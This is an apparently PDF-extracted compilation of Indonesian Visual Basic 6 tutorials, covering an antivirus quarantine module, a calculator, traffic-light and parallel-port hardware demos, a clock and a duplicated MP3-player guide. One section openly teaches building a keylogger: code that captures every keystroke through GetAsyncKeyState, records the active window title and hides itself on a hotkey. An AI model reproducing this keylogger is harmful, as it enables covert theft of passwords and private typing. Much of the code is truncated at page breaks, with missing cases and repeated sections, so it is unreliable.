Result = FindNextFile(hSearch, WFD) Loop

FindClose hSearch

If SubDirs = True Then If dirCount <> -1 Then For i = 0 To dirCount

FindFilesEx tempDir(i), True Next i

End If End If End If End Sub

Code di atas adalah code untuk scan file & folder pada antivirus

buat 1 module dengan nama modEtc masukan code di bawah ini

Spoiler: 'Code:

Public Function Action(Data As String, TheLV As ListView, Mode As String) Dim Filedata() As String

Dim fName, tmp, Status As String Dim y As Integer

Filedata = Split(Data, "|") For i = 1 To UBound(Filedata) a = a + 1

If Mode = "Q" Then

fName = GetFileName(Filedata(i))

EncodeFile Filedata(i), AppPath & "Quarantine\" & Left$(fName, Len(fName) - Len(GetExt(Filedata(i)))) & ".avq"

AddQList TheLV, Filedata(i), Left$(fName, Len(fName) - Len(GetExt(Filedata(i)))) & ".avq" DeleteFile Filedata(i)

Status = "Di Karantina" ElseIf Mode = "D" Then DeleteFile Filedata(i) Status = "Di Hapus" End If

y = GetIndex(TheLV, Filedata(i)) With TheLV.ListItems.Item(y) .SubItems(3) = Status

.Checked = False

.SmallIcon = frmUtama.ImgSmall.ListImages(2).Index End With

(24)

End Function

Public Function AddQList(TheLV As ListView, FilePath As String, Source As String) Dim Dat As String

Dat = AppPath & "Quarantine\HN.dat" If PathFileExists(Dat) <> 0 Then Open Dat For Input As #1 Input #1, isi

Close #1 DeleteFile Dat Else

isi = "" End If

namavir = TheLV.ListItems(GetIndex(TheLV, FilePath)) If InStrRev(isi, Source, , vbTextCompare) = 0 Then Open Dat For Output As #2

Print #2, isi & "|" & namavir & "?" & FilePath & "?" & Source Close #2

Else

Open Dat For Output As #3 Print #3, isi

Close #3 End If End Function

Public Function GetFileName(PathFile As String) As String Dim i As Long

Dim DirString As Long For i = 1 To Len(PathFile)

If Mid$(PathFile, i, 1) = "\" Then DirString = i Next i

GetFileName = Right$(PathFile, Len(PathFile) - DirString) End Function

Public Function GetExt(ByVal lpFileName As String) Dim sTemp As String

Dim i As Long

sTemp = GetFileName(lpFileName) If InStr(lpFileName, ".") Then For i = 0 To Len(sTemp) - 1

If Mid$(sTemp, Len(sTemp) - i, 1) = "." Then GetExt = Mid$(sTemp, Len(sTemp) - i, i) Exit Function

End If Next i End If End Function

Code di atas adalah kumpulan fungsi etc untuk scanning,karantina,delete

(25)

sekarang tinggal cara membuat form quarantinenya,

(26)
(27)
(28)

setelah form baru sudah di buat,lalu rubah nama formnya menjadi frmQuarantine

Tambah 1 buah listview dengan nama lvQ

(29)

Tambahkan 3 buah Command button dengan nama

(30)

Tambahkan code di bawah ini ke dalam Command [ cmdDelete ]

Spoiler: 'Code:

If lvQ.ListItems.Count = 0 Then Exit Sub Dim Data() As String

If PathFileExists(Dat) <> 0 Then Open Dat For Input As #1 Input #1, isi

Close #1 DeleteFile Dat Else

isi = "" End If

Data = Split(isi, "|")

For i = 1 To UBound(Data)

namafile = lvQ.SelectedItem.SubItems(2) If namafile <> Split(Data(i), "?")(1) Then nyu = nyu & "|" & Data(i)

End If Next

DeleteFile AppPath & "Quarantine\" & lvQ.SelectedItem.SubItems(1) Open Dat For Output As #2

Print #2, nyu Close #2

MsgBox "Success Deleting File !!!", vbInformation, "" UpdateQ

code di atas berfungsi untuk menghapus file yang telah di karantina

Masukan code di bawah ini ke Command [ cmdRestore ]

Spoiler: 'Code:

If lvQ.ListItems.Count = 0 Then Exit Sub Select Case Index

Case 0

DecodeFile AppPath & "Quarantine\" & lvQ.SelectedItem.SubItems(1), lvQ.SelectedItem.SubItems(2)

MsgBox "File Restored to " & Chr(34) & lvQ.SelectedItem.SubItems(2) & Chr(34) & " !!!", vbInformation, ""

Case 1

sTitle = "Select path:" & vbNewLine & "Select path to restore file." ThePath = BrowseFolder(sTitle, Me)

If ThePath <> "" Then

DecodeFile AppPath & "Quarantine\" & lvQ.SelectedItem.SubItems(1), ThePath & GetFileName(lvQ.SelectedItem.SubItems(2))

MsgBox "File Restored to " & Chr(34) & ThePath & GetFileName(lvQ.SelectedItem.SubItems(2)) & Chr(34) & " !!!", vbInformation, ""

End If End Select

Fungsi code di atas berguna untuk me restore file kembali ke asalnya.

lalu pada Form_Load() tambahkan code di bawah ini.

(31)

'Code:

frmUtama.Enabled = False

Dat = AppPath & "Quarantine\HN.dat" UpdateQ

Masukan code di bawah ini ke dalam frmQuarantine yang telah anda buat tadi.

Spoiler: 'Code:

Dim Dat As String Private Sub UpdateQ() lvQ.ListItems.Clear Dim Data() As String

If PathFileExists(Dat) = 0 Then Exit Sub Open Dat For Input As #1

Input #1, isi Close #1

Data = Split(isi, "|")

For i = 1 To UBound(Data)

With lvQ.ListItems.Add(, , Split(Data(i), "?")(0)) .SubItems(1) = Split(Data(i), "?")(2)

.SubItems(2) = Split(Data(i), "?")(1) End With

Next

Me.Caption = "Quarantine (" & lvQ.ListItems.Count & ")" End Sub

Berfungsi untuk memanggil data yang ada di folder karantina.

Hanya itu ilmu yang bisa saya bagikan. sekarang kita bukan hanya sebagai pemakai atau user sekrang kita sudah bisa mmembuat antivirus.

(32)
(33)

Membuat Keylogger Dengan Visual Basic 6

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat

keylogger sederhana dengan Visual Basic. Oke langsung saja.

1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0

2. Buka program Visual Basic

3. New Project Standard EXE

4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label .

(34)

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer

Private Declare Function GetForegroundWindow Lib “user32″ () As Long

Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long

Private hForegroundWnd As Long

Private backs As BooleanPrivate Sub Command1_Click()

Timer1.Enabled = True

End SubPrivate Sub Command2_Click()

Timer1.Enabled = False

End SubPrivate Sub Command3_Click()

backs = True

End SubPrivate Sub Command4_Click()

backs = False

End SubPrivate Sub Form_Load()

backs = True

End Sub

Private Sub Label1_Click()

End Sub

Private Sub Label4_Click()

End Sub

Private Sub Label6_Click()

Timer1.Enabled = True

End Sub

Private Sub Label7_Click()

(35)

Private Sub Label8_Click()

backs = True

End Sub

Private Sub Label9_Click()

backs = False

End Sub

Private Sub Text1_Change()

Text1.SelStart = 0

Text1.SelLength = Len(Text1.Text)

End Sub

Private Sub Timer1_Timer()

Dim x, x2, i, t As Integer

Dim win As Long

Dim Title As String * 1000

win = GetForegroundWindow()

If (win = hForegroundWnd) Then

GoTo Keylogger

Else

hForegroundWnd = GetForegroundWindow()

Title = “”

GetWindowText hForegroundWnd, Title, 1000

Select Case Asc(Title)

Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95

(36)

End Select

End If

Exit Sub

Keylogger:

For i = 65 To 90

x = GetAsyncKeyState(i)

x2 = GetAsyncKeyState(16)

If x = -32767 Then

If x2 = -32768 Then

Text1.Text = Text1.Text & Chr(i)

Else: Text1.Text = Text1.Text & Chr(i + 32)

End If

End If

Next

For i = 8 To 222

If i = 65 Then i = 91

x = GetAsyncKeyState(i)

x2 = GetAsyncKeyState(16)

If x = -32767 Then

Select Case i

Case 48

Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)

Case 49

Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)

Case 50

(37)

Case 51

Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)

Case 52

Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)

Case 53

Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)

Case 54

Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)

Case 55

Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)

Case 56

Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)

Case 57

Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)

Case 112: Text1.Text = Text1.Text & ” F1 “

Case 113: Text1.Text = Text1.Text & ” F2 “

Case 114: Text1.Text = Text1.Text & ” F3 “

Case 115: Text1.Text = Text1.Text & ” F4 “

Case 116: Text1.Text = Text1.Text & ” F5 “

Case 117: Text1.Text = Text1.Text & ” F6 “

Case 118: Text1.Text = Text1.Text & ” F7 “

Case 119: Text1.Text = Text1.Text & ” F8 “

Case 120: Text1.Text = Text1.Text & ” F9 “

Case 121: Text1.Text = Text1.Text & ” F10 “

Case 122: Text1.Text = Text1.Text & ” F11 “

(38)

Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)

Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)

Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)

Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)

Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)

Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)

Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)

Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)

Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")

Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)

Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)

Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)

Case 9: Text1.Text = Text1.Text & ” [ Tab ] “

Case 13: Text1.Text = Text1.Text & vbCrLf

Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“

Case 18: Text1.Text = Text1.Text & ” [ Alt ] “

Case 19: Text1.Text = Text1.Text & ” [ Pause ] “

Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “

Case 27: Text1.Text = Text1.Text & ” [ Esc ] “

Case 32: Text1.Text = Text1.Text & ” “

Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “

Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “

Case 35: Text1.Text = Text1.Text & ” [ End ] “

Case 36: Text1.Text = Text1.Text & ” [ Home ] “

(39)

Case 38: Text1.Text = Text1.Text & ” [ Up ] “

Case 39: Text1.Text = Text1.Text & ” [ Right ] “

Case 40: Text1.Text = Text1.Text & ” [ Down ] “

Case 41: Text1.Text = Text1.Text & ” [ Select ] “

Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “

Case 45: Text1.Text = Text1.Text & ” [ Insert ] “

Case 46: Text1.Text = Text1.Text & ” [ Del ] “

Case 47: Text1.Text = Text1.Text & ” [ Help ] “

Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “

End Select

End If

Next

End Sub

Private Sub Timer2_Timer()

Dim a, b, x As Long

a = GetAsyncKeyState(120)

b = GetAsyncKeyState(121)

x = GetAsyncKeyState(16)

If a = -32767 And x = -32768 Then Me.Hide

If b = -32767 And x = -32768 Then Me.Show

(40)

MEMBUAT PROGRAM KALKULATOR DENGAN VISUAL BASIC

4

Bagi anda yang sering memanfaatkan

kalkulator

yang merupakan bagian adri

aksesoris Windows

, mungkin pernah berkeinginan untuk

membuat kalkulator

sendiri

dan mungkin pula keinginan anda tersebut belum terwujud, karena anda

belum tahu cara membuatnya.

Dengan Tip berikut ini, anda akan dapat mewujudkan keinginan tersebut,

karena membuat kalkulator dengan visual basic tidak sesulit bayangan anda.

1.

Buat project baru, kemudian TextBox dan sebuah commandButton seperti

berikut:

(41)

lagi sehingga muncul kontrol command1(2). Lakukan proses tersebut teru-menerus

sampai kontrol CommandButton berjumlah sepuluh buah.

3.

Atur posisi kontrol-kontrol Command tersebut sehingga tampilan form menjadi

seperti berikut.

4.

Kemudian atur properti caption untuk commandButton sehingga tampilannya

menjadi seperti berikut.

(42)

6. Atur properti kontrol TextBox dan CommandButton baru seperti berikut.

(43)

8.

Buka jendela kode, lalu ketikkan kode berikut ini:

Private pilihan As String

Private x As Double

Private y As Double

Private Sub AC_Click()

Text1.Text = ""

y = x = 0

Tanda.Enabled = False

End Sub

Private Sub Akar_Click()

If x < 0 Then

Text1.Text = "Angka Tidak Boleh Negatif Coy"

Else

Text1.Text = Sqr(x)

End If

End Sub

Private Sub Bagi_Click()

Text1.Text = ""

(44)

y = x

x = 0

Tanda.Enabled = False

End Sub

Private Sub Command1_Click(Index As Integer)

Text1.Text = Text1.Text & Command1(Index).Caption

x = Text1.Text

Tanda.Enabled = True

End Sub

Private Sub Form_Load()

Tanda.Enabled = False

End Sub

Private Sub Hasil_Click()

If pilihan = "tambah" Then

x = y + x

Text1.Text = x

ElseIf pilihan = "kurang" Then

x = y - x

Text1.Text = x

ElseIf pilihan = "kali" Then

x = y * x

Text1.Text = x

ElseIf pilihan = "bagi" And x <> 0 Then

x = y / x

Text1.Text = x

Else

Text1.Text = "Tidak Terdefinisi"

End If

(45)

Private Sub Kali_Click()

Text1.Text = ""

pilihan = "kali"

y = x

x = 0

Tanda.Enabled = False

End Sub

Private Sub Koma_Click()

If Text1.Text = "" Then

Text1.Text = "0."

Else

Text1.Text = Text1.Text & "."

End If

End Sub

Private Sub Kuadrat_Click()

Text1.Text = x ^ 2

End Sub

Private Sub Kurang_Click()

Text1.Text = ""

pilihan = "kurang"

y = x

x = 0

Tanda.Enabled = False

End Sub

Private Sub Tambah_Click()

Text1.Text = ""

pilihan = "tambah"

y = x

(46)

Tanda.Enabled = False

End Sub

Private Sub Tanda_Click()

If x < 0 Then

Text1.Text = -x

x = -x

Else

Text1.Text = "-" & Text1.Text

x = -x

(47)

MEMBUAT PROGRAM SIMULASI LAMPU LALU LINTAS DENGAN

VISUAL BASIC

1.

Langkah pertama buka program Visual Basic

2.

Pilih standar.exe untuk New Project kemudian Klik Open

(48)

4. Ubah Properti Interval pada control Timer dengan memasang nilai 1000 dan dalam

keadaan false.

5.

Masukkan kode program seperti dibawah ini :

Private Sub tunda()

a = Timer

Do While Timer < 1 + a DoEvents

Loop End Sub

Private Sub Form_Load() Timer1.Enabled = True End Sub

Private Sub Timer1_Timer() For i = 0 To 10

Label1(0).Caption = 11 - i Label1(1).Caption = 21 - i Label1(2).Caption = 31 - i Label1(3).Caption = 41 - i If i = 0 Then

Shape10.FillColor = &HC0C0& Shape1.FillColor = &HC0& Shape2.FillColor = vbYellow Shape5.FillColor = vbRed Shape8.FillColor = vbRed Shape11.FillColor = vbRed Else

Shape12.FillColor = &H8000& Shape2.FillColor = &HC0C0& Shape3.FillColor = vbGreen End If

tunda Next i

For i = 10 To 20

(49)

Label1(3).Caption = 41 - i If i = 10 Then

Shape5.FillColor = &HC0& Shape3.FillColor = &H8000& Shape2.FillColor = vbYellow Shape4.FillColor = vbYellow Else

Shape2.FillColor = &HC0C0& Shape4.FillColor = &HC0C0& Shape1.FillColor = vbRed Shape5.FillColor = &HC0& Shape6.FillColor = vbGreen End If

tunda Next i

For i = 20 To 30

Label1(0).Caption = 51 - i Label1(1).Caption = 61 - i Label1(2).Caption = 31 - i Label1(3).Caption = 41 - i If i = 20 Then

Shape8.FillColor = &HC0& Shape6.FillColor = &H8000& Shape4.FillColor = vbYellow Shape7.FillColor = vbYellow Else

Shape4.FillColor = &HC0C0& Shape7.FillColor = &HC0C0& Shape5.FillColor = vbRed Shape8.FillColor = &HC0& Shape9.FillColor = vbGreen End If

tunda Next i

For i = 30 To 40

(50)

Shape11.FillColor = &HC0& Shape9.FillColor = &H8000& Shape7.FillColor = vbYellow Shape10.FillColor = vbYellow ElseIf i = 40 Then

Shape2.FillColor = vbYellow Shape10.FillColor = vbYellow Shape12.FillColor = &H8000& Shape1.FillColor = &HC0& Else

Shape7.FillColor = &HC0C0& Shape10.FillColor = &HC0C0& Shape8.FillColor = vbRed Shape11.FillColor = &HC0& Shape12.FillColor = vbGreen End If

tunda Next i End Sub

6. Jalankan Program dan Untuk melihat contohnya bisa anda tekan tombol play

dibawah

ini

:

(51)

MEMBUATPROGRAM PORT PARALEL LED BERJALAN DENGAN VB

1. Buatlah hardwarenya dengan 12 buah led dimana 8 led pertama sambungkan dengan pin data

(2-9) dan 4 led trakhir sambungkan dengan pin control (1,14,16,17) jangan lupa tambahkan

resistor dan penyambungan system katoda.

2. Buat project baru kemudian tambahkan 12 shape untuk simulasi lednya, 1 label untuk judul

kemudian 5 commandbutton dan 4 buah timer.

3. Kemudian desain lah menjadi seperti gambar berikut :

4. Atur properties masing-masing komponen seperti untuk shape backstyle ubah menjadi

1-opaque kemudian backcolornya pilih warna putih kemudian unutk timer semua interval beri

nilai 100 dan dalam keadaan false.

5. Save project dan Form di folder yang sama lalu copykan inpout32.dll pada folder tempat

penyimpanan tersebut.

6. Masukkan kode program seperti dibawah ini :

Private Declare Function Inp Lib "inpout32.dll" _

Alias "Inp32" (ByVal PortAddress As Integer) As Integer

Private Declare Sub Out Lib "inpout32.dll" _

Alias "Out32" (ByVal PortAddress As Integer, ByVal value As Integer)

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Command1_Click()

Out 888, 255

Out 890, 4

(52)

Shape12.BackColor = vbRed

Command3.Enabled = False

Command4.Enabled = False

Command5.Enabled = False

End Sub

Private Sub Command2_Click()

Out 888, 0

Out 890, 11

Shape1.BackColor = vbWhite

Shape2.BackColor = vbWhite

Shape3.BackColor = vbWhite

Shape4.BackColor = vbWhite

Shape5.BackColor = vbWhite

Shape6.BackColor = vbWhite

Shape7.BackColor = vbWhite

Shape8.BackColor = vbWhite

Shape9.BackColor = vbWhite

Shape10.BackColor = vbWhite

Shape11.BackColor = vbWhite

Shape12.BackColor = vbWhite

Command1.Enabled = True

Command2.Enabled = True

Command3.Enabled = True

Command4.Enabled = True

Command5.Enabled = True

End Sub

Private Sub Command3_Click()

Timer1.Enabled = True

Timer2.Enabled = True

Command1.Enabled = False

Command2.Enabled = False

Command4.Enabled = False

Command5.Enabled = True

End Sub

Private Sub Command4_Click()

Timer4.Enabled = True

Timer3.Enabled = True

Command1.Enabled = False

Command2.Enabled = False

Command3.Enabled = False

Command5.Enabled = True

End Sub

Private Sub Command5_Click()

Timer1.Enabled = False

Timer2.Enabled = False

Timer3.Enabled = False

Timer4.Enabled = False

Out 888, 0

Out 889, 11

(53)

Shape2.BackColor = vbWhite

Shape3.BackColor = vbWhite

Shape4.BackColor = vbWhite

Shape5.BackColor = vbWhite

Shape6.BackColor = vbWhite

Shape7.BackColor = vbWhite

Shape8.BackColor = vbWhite

Shape9.BackColor = vbWhite

Shape10.BackColor = vbWhite

Shape11.BackColor = vbWhite

Shape12.BackColor = vbWhite

Command1.Enabled = True

Command2.Enabled = True

Command3.Enabled = True

Command4.Enabled = True

Command5.Enabled = True

End Sub

Private Sub Form_Load()

End Sub

Private Sub Timer2_Timer()

Dim a As Integer

a = Timer1.Interval

Timer1.Interval = a + 100

Select Case a

Case 100

Out 890, 11

Out 888, 1

Shape12.BackColor = vbWhite

Shape1.BackColor = vbRed

Case 200

Out 888, 2

Shape1.BackColor = vbWhite

Shape2.BackColor = vbRed

Case 300

Out 888, 4

Shape2.BackColor = vbWhite

Shape3.BackColor = vbRed

Case 400

Out 888, 8

Shape3.BackColor = vbWhite

Shape4.BackColor = vbRed

Case 500

Out 888, 16

Shape4.BackColor = vbWhite

Shape5.BackColor = vbRed

Case 600

Out 888, 32

(54)

Out 888, 64

Shape6.BackColor = vbWhite

Shape7.BackColor = vbRed

Case 800

Out 888, 128

Shape7.BackColor = vbWhite

Shape8.BackColor = vbRed

Case 900

Out 888, 0

Out 890, 10

Shape8.BackColor = vbWhite

Shape9.BackColor = vbRed

Case 1000

Out 888, 9

Shape9.BackColor = vbWhite

Shape10.BackColor = vbRed

Case 1100

Out 888, 15

Shape10.BackColor = vbWhite

Shape11.BackColor = vbRed

Case 1200

Out 888, 3

Shape11.BackColor = vbWhite

Shape12.BackColor = vbRed

Timer1.Interval = 100

End Select

End Sub

Private Sub Timer3_Timer()

Dim b As Integer

b = Timer4.Interval

Timer4.Interval = b + 100

Select Case b

Case 100

Out 888, 96

Shape1.BackColor = vbWhite

Shape12.BackColor = vbWhite

Shape6.BackColor = vbRed

Shape7.BackColor = vbRed

Case 200

Out 888, 144

Shape6.BackColor = vbWhite

Shape7.BackColor = vbWhite

Shape5.BackColor = vbRed

Shape8.BackColor = vbRed

Case 300

Out 888, 8

Out 890, 10

(55)

Shape9.BackColor = vbRed

Case 400

Out 888, 4

Out 890, 9

Shape4.BackColor = vbWhite

Shape9.BackColor = vbWhite

Shape3.BackColor = vbRed

Shape10.BackColor = vbRed

Case 500

Out 888, 2

Out 890, 15

Shape3.BackColor = vbWhite

Shape10.BackColor = vbWhite

Shape2.BackColor = vbRed

Shape11.BackColor = vbRed

Case 600

Out 888, 1

Out 890, 3

Shape2.BackColor = vbWhite

Shape11.BackColor = vbWhite

Shape1.BackColor = vbRed

Shape12.BackColor = vbRed

Timer4.Interval = 100

(56)

PROGRAM PORT PARALEL MOTOR STEPPER DENGAN VB

Sebaiknya anda terlebih dahulu mengetahui dasar teori dari motor

stepper itu sendiri dan anda bisa lihat dipostingan

Program Motor Stepper

dengan CodevisionAVR

1.Buatlah hardwarenya dengan menyambungkan pin data (2-5) ingat untuk menggerakkan

motor steper dibutuhkan driver motor steper bisa ULN2803 atau UN2003 karena arus yang

dihasilkan dari port parallel kecil sambungkan 4 buah kaki pin data tadi ke inputan driver

motor stepper dan untuk outputnya sambungkan ke kaki-kaki motor stepper secara berurutan

dan jangan lupa tambahkan supply 5-12 volt pada motor drivernya serta ground untuk lebih

jelasnya lihat data sheetnya.

2. Buat project baru kemudian tambahkan 1 label untuk judul, 3 buah commandbutton dan 2

buah timer. Atur properties interval timer 100 dan dalam keadaan false.

3. Kemudian desain lah menjadi seperti gambar berikut :

4. Save project dan Form di folder yang sama lalu copykan inpout32.dll pada folder

tempat penyimpanan tersebut.

6. Masukkan kode program seperti dibawah ini :

Private Declare Function Inp Lib "inpout32.dll" _

Alias "Inp32" (ByVal PortAddress As Integer) As Integer

Private Declare Sub Out Lib "inpout32.dll" _

Alias "Out32" (ByVal PortAddress As Integer, ByVal value As Integer)

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Command1_Click()

Out 888, 1

Timer1.Enabled = True

End Sub

Private Sub Command2_Click()

Out 888, 0

End Sub

Private Sub Command3_Click()

Out 888, 1

(57)

End Sub

Private Sub Timer1_Timer()

Select Case Inp(888)

Case 1

Out 888, 4

Sleep 100

Case 4

Out 888, 2

Sleep 100

Case 2

Out 888, 8

Sleep 100

Case 8

Out 888, 1

Sleep 100

End Select

End Sub

Private Sub Timer2_Timer()

Select Case Inp(888)

Case 1

Out 888, 8

Sleep 100

Case 8

Out 888, 2

Sleep 100

Case 2

Out 888, 4

Sleep 100

Case 4

Out 888, 1

Sleep 100

End Select

(58)
(59)

MEMBUAT PROGRAM JAM DIGITAL DENGAN VB

1

1.Langkah pertama buka program Visual Basic

2.Pilih standar.exe untuk New Project kemudian Klik Open

(60)

4. Ubah Properti Interval pada control Timer dengan memasang nilai 100

5. Klik ganda kontrol Timer dan ketik kode program berikut:

Label1.Caption = Time

6. Jalankan Program dan Perhatikan hasilnya

7. Untuk melihat simulasinya bisa anda tekan tombol Play pada Video

dibawah ini:

MEMBUAT PROGRAM PEMUTAR MUSIK DENGAN VB 6.0 | APLIKASI

MP3 PLAYER

Anda pasti hobi sekali bermain komputer sambil mendengar musik atau

apalagi online sambil mendengarkan musik itu sangat mengasikkan,

program yang anda buka pasti kalau bukan winamp, windows media

player,

GOM

player

atau

yang

lainnya.

(61)

selama ini Anda salah besar karena dalam membuat program aplikasi

mp3 player dengan program vb wah itu sangat mudah sekali, berikut

tutorialnya :

1. Jalankan program VB anda kemudian buat new project dan tetap pilih

standar.exe

2. Klik Menu Project >> Components (CTRL+T) kemudian pilih dan tandai

Microsoft Common Dialog Control 6.0 dan Microsoft Multimedia Control

6.0

>>

OK

3. Lalu tambahkan pada form proyek anda 2 buah label, 2

commandbutton, satu CommonDialog dan MMControl, desainlah seperti

dibawah ini dan untuk picture background terserah anda

Gambar program aplikasi mp3 player dengan vb 6.0

4. Aturlah properties masing-masing kontrol seperti dibawah ini :

5. kemudian ketikkan kode/listing/script program dibawah ini :

(62)

On

Error

GoTo

loncat

MMControl1.Command

=

"stop"

CommonDialog1.ShowOpen

MMControl1.FileName

=

CommonDialog1.FileName

MMControl1.Command

=

"open"

Label1.Caption

=

CommonDialog1.FileTitle

loncat:

Exit

Sub

End

Sub

Private

Sub

Form_Unload(Cancel

As

Integer)

MMControl1.Command

=

"stop"

End

Sub

Private

Sub

Command2_Click()

End

End

Sub

6. Save hasil kerja anda dan kemudian silahkan run program anda

dengan menekan F5, lalu klik open dan ambil lagu kesayangan anda lalu

klik tanda play,,selamat mendengarkan

Gambar Hasil program aplikasi mp3 player dengan vb 6.0

7.

Mudahkan,

Selamat

Mencoba…!!!

Wahai manusia, kenalilah dirimu, niscaya kamu akan mengenal Tuhanmu.

(Al-Hadits)

Buka Artikel yang terkait :

MEMBUAT PROGRAM APLIKASI ALARM DENGAN VB 6.0

MEMBUAT PROGRAM DATABASE MAHASISWA DENGAN VB 6.0

(63)

MEMBUAT PROGRAM PEMUTAR MUSIK DENGAN VB 6.0 | APLIKASI

MP3 PLAYER

Anda pasti hobi sekali bermain komputer sambil mendengar musik atau

apalagi online sambil mendengarkan musik itu sangat mengasikkan,

program yang anda buka pasti kalau bukan winamp, windows media

player,

GOM

player

atau

yang

lainnya.

Tapi kali ini kita akan membuat sendiri aplikasi pemutar musik atau mp3

player tersebut dengan Visual basic, pasti anda menyangka sangat sulit

untuk membuat aplikasi tersebut, jika prediksi saya itu benar berarti

selama ini Anda salah besar karena dalam membuat program aplikasi

mp3 player dengan program vb wah itu sangat mudah sekali, berikut

tutorialnya :

1. Jalankan program VB anda kemudian buat new project dan tetap pilih

standar.exe

2. Klik Menu Project >> Components (CTRL+T) kemudian pilih dan tandai

Microsoft Common Dialog Control 6.0 dan Microsoft Multimedia Control

6.0

>>

OK

3. Lalu tambahkan pada form proyek anda 2 buah label, 2

commandbutton, satu CommonDialog dan MMControl, desainlah seperti

dibawah ini dan untuk picture background terserah anda

Gambar program aplikasi mp3 player dengan vb 6.0

(64)

5. kemudian ketikkan kode/listing/script program dibawah ini :

Private

Sub

Command1_Click()

On

Error

GoTo

loncat

MMControl1.Command

=

"stop"

CommonDialog1.ShowOpen

MMControl1.FileName

=

CommonDialog1.FileName

MMControl1.Command

=

"open"

Label1.Caption

=

CommonDialog1.FileTitle

loncat:

Exit

Sub

End

Sub

Private

Sub

Form_Unload(Cancel

As

Integer)

MMControl1.Command

=

"stop"

End

Sub

Private

Sub

Command2_Click()

End

End

Sub

(65)

Gambar Hasil program aplikasi mp3 player dengan vb 6.0

7.

Mudahkan,

Selamat

Mencoba…!!!

Wahai manusia, kenalilah dirimu, niscaya kamu akan mengenal Tuhanmu.

(Al-Hadits)

Buka Artikel yang terkait :

MEMBUAT PROGRAM APLIKASI ALARM DENGAN VB 6.0

MEMBUAT PROGRAM DATABASE MAHASISWA DENGAN VB 6.0

Kirimkan Ini lewat Email

BlogThis!

Berbagi ke Twitter

Berbagi ke Facebook

 Contact Me

 Privacy Policy  Link Exchange

MEMBUAT APLIKASI ACAK ANGKA (RANDOM) DENGAN VISUAL

BASIC

Figur

Gambar program aplikasi mp3 player dengan vb 6.0

Gambar program

aplikasi mp3 player dengan vb 6.0 p.61
Gambar Hasil program aplikasi mp3 player dengan vb 6.0

Gambar Hasil

program aplikasi mp3 player dengan vb 6.0 p.62
Gambar program aplikasi mp3 player dengan vb 6.0

Gambar program

aplikasi mp3 player dengan vb 6.0 p.63
Gambar Hasil program aplikasi mp3 player dengan vb 6.0

Gambar Hasil

program aplikasi mp3 player dengan vb 6.0 p.65

Referensi

Memperbarui...